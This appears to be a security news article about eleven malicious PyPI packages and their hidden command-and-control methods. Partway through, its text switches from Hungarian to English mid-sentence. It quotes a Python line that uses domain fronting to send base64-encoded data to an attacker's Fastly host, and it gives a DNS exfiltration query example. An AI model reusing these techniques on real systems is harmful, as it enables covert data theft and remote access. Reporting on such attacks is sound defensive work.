A PyPI (Python Package Index) katalógusában 11, rosszindulatú kódot tartalmazó csomagot azonosítottak. A problémák felderítése előtt ezek a csomagok összesen körülbelül 38 ezer alkalommal lettek letöltve. Az észlelt rosszindulatú csomagok figyelemre méltóak a támadók szervereihez való kapcsolattartás rejtett módjainak alkalmazásával.
- importantpackage (6305 letöltés), important-package (12897) — egy külső szerverrel létesítettek kapcsolatot a pypi.python.org nevében, hogy shell-hozzáférést biztosítsanak a rendszerhez (fordított shell), és a trevorc2 programot használták a kapcsolat elrejtésére.
- pptest (10001), ipboards (946) — a DNS-t használták kapcsolatként a rendszerinformációk továbbítására (az első csomagban a gép neve, a munkakönyvtár, a belső és külső IP, a másodikban pedig a felhasználó és a gép neve).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) — észlelték a Discord szolgáltatás tokenjét a rendszerben, és elküldték egy külső gazdához.
- trrfab (287) — az azonosítót, a gép nevét és a /etc/passwd, /etc/hosts, /home tartalmát küldte egy külső gazdához.
- 10Cent10 (490) — fordított shell kapcsolatot létesített egy külső gazdával.
- yandex-yt (4183) — üzenetet adott a rendszer kompromittálódásáról, és átirányította egy további információkkal foglalkozó oldalra, amelyet a nda.ya.ru (api.ya.cc) szolgáltatott.
Külön figyelmet érdemel a külső gazdákhoz való kapcsolódás módszere, amelyet az importantpackage és important-package csomagok használtak. Ezek a csomagok a Fastly tartalomszolgáltató hálózatot használták tevékenységük elrejtésére, amely a PyPI katalógusában is alkalmazásra került. A kérés gyakorlatilag a pypi.python.org szerverhez érkezett (többek között a python.org név SNI-ként HTTPS kérésben), de az HTTP "Host" fejlécbe egy támadók által ellenőrzött szerver nevét állították be (sec.forward.io.global.prod.fastly.net). A tartalomszolgáltatás a támadók szerverére irányította a hasonló kérdéseket, a pypi.python.org-jal való TLS kapcsolaton keresztül.
A PyPI infrastruktúrája a Fastly tartalomszolgáltató hálózat bevonásával működik, amely a tipikus kérdések gyorsítótárazására átlátszó Varnish proxyt alkalmaz, és a TLS tanúsítványok feldolgozása a CDN szintjén, nem a végső szervereken történik, lehetővé téve a HTTPS kérdések proxy-n keresztüli átirányítását. A cél gazdától függetlenül a kérdések a proxyba irányulnak, amely a "Host" HTTP fejléc alapján határozza meg a szükséges gazdát. domainnevek A host is linked to the standard Fastly IP addresses of CDN load balancers for all clients.
The attacking server is also registered with CDN Fastly, which offers free plans to anyone and even allows anonymous registration. Notably, when creating a 'reverse shell', the scheme is also used to send requests to the victim, but initiated from the host side of the attackers. The interaction with the attacking server appears as a legitimate session with the PyPI directory, encrypted using TLS tanúsítvány PyPI. This technique, known as 'domain fronting', was previously used extensively to hide the host name when bypassing blocks, utilizing the ability of some CDN networks to make HTTPS requests specifying a fictitious host in SNI while actually transmitting the requested host name in the HTTP Host header within the TLS session.

To conceal malicious activity, the TrevorC2 package was additionally used, which allows interactions with the server to resemble normal web navigation. For example, malicious requests were sent disguised as loading images 'https://pypi.python.org/images/guid=' with encoding of the information in the guid parameter. url = 'https://pypi.python.org' + '/images' + '?' + 'guid=' + b64_payload r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})
In the pptest and ipboards packages, another approach was used to hide network activity, based on encoding useful information in DNS server requests. The malware transmits information by performing DNS queries like 'nu4timjagq4fimbuhe.example.com', where the data sent to the control server is encoded in the subdomain name using base64 format. The attacker receives the data messages by controlling the DNS server for the domain example.com.
Forrás: opennet.ru
